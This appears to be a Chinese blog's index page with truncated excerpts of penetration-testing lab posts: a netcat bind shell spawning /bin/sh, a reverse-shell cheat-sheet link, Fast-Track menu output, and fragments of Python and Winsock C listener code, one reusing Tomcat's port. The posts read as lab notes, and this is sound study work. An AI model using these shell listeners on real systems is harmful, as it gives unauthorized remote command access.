天元喜羊羊的博客

netcat下载地址：http://sourceforge.net/projects/netcat/?source=navbar在BT5上：root@bt:~# nc -l -p 8090 -e /bin/sh在XP上：E:\>nc 192.168.1.11 8090lsDesktopifconfigeth0 Link encap:Ethernet HWaddr

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheetIf you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll

上次没有成功获得cmdshell，因为fasttrack没有这方面的代码，这次编写了server.py。原来的博客链接：http://blog.youkuaiyun.com/feier7501/article/details/9220495import socketHOST = ''PORT = 4444s = socket.socket(socket.AF_INET, socket

fasttrack操作：root@bt:~# cd /pentest/exploits/fasttrack/root@bt:/pentest/exploits/fasttrack# ./fast-track.py -i****************************************************** Performing dependency checks...

bt5上操作： ***************************************************************** ** ** ** Fast-Track - A new beginning...

login.jsp如下：<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>Register user username: password: bt5上操作如下：root@bt:/pentest/exploits/fasttrack

这次也是失败的，操作如下：root@bt:/pentest/exploits/fasttrack# ./fast-track.py -iFast-Track Main Menu: 1. Fast-Track Updates 2. Autopwn Automation 3. Nmap Scripting Engine 4. Microsoft SQL

要重用的端口是tomcat的默认http端口8080。源代码：#include #pragma comment(lib, "ws2_32.lib")#define LISTEN_PORT 8080int main() { WSADATA ws; SOCKET listenFD; WSAStartup(MAKEWORD(2, 2), &ws); listenFD = WSA

源代码：#include #include #pragma comment(lib,"Ws2_32") #define LISTEN_PORT 9090int main() { WSADATA ws; SOCKET listenFD; int ret; WSAStartup(MAKEWORD(2, 2), &ws); listenFD = WSASocket(AF_IN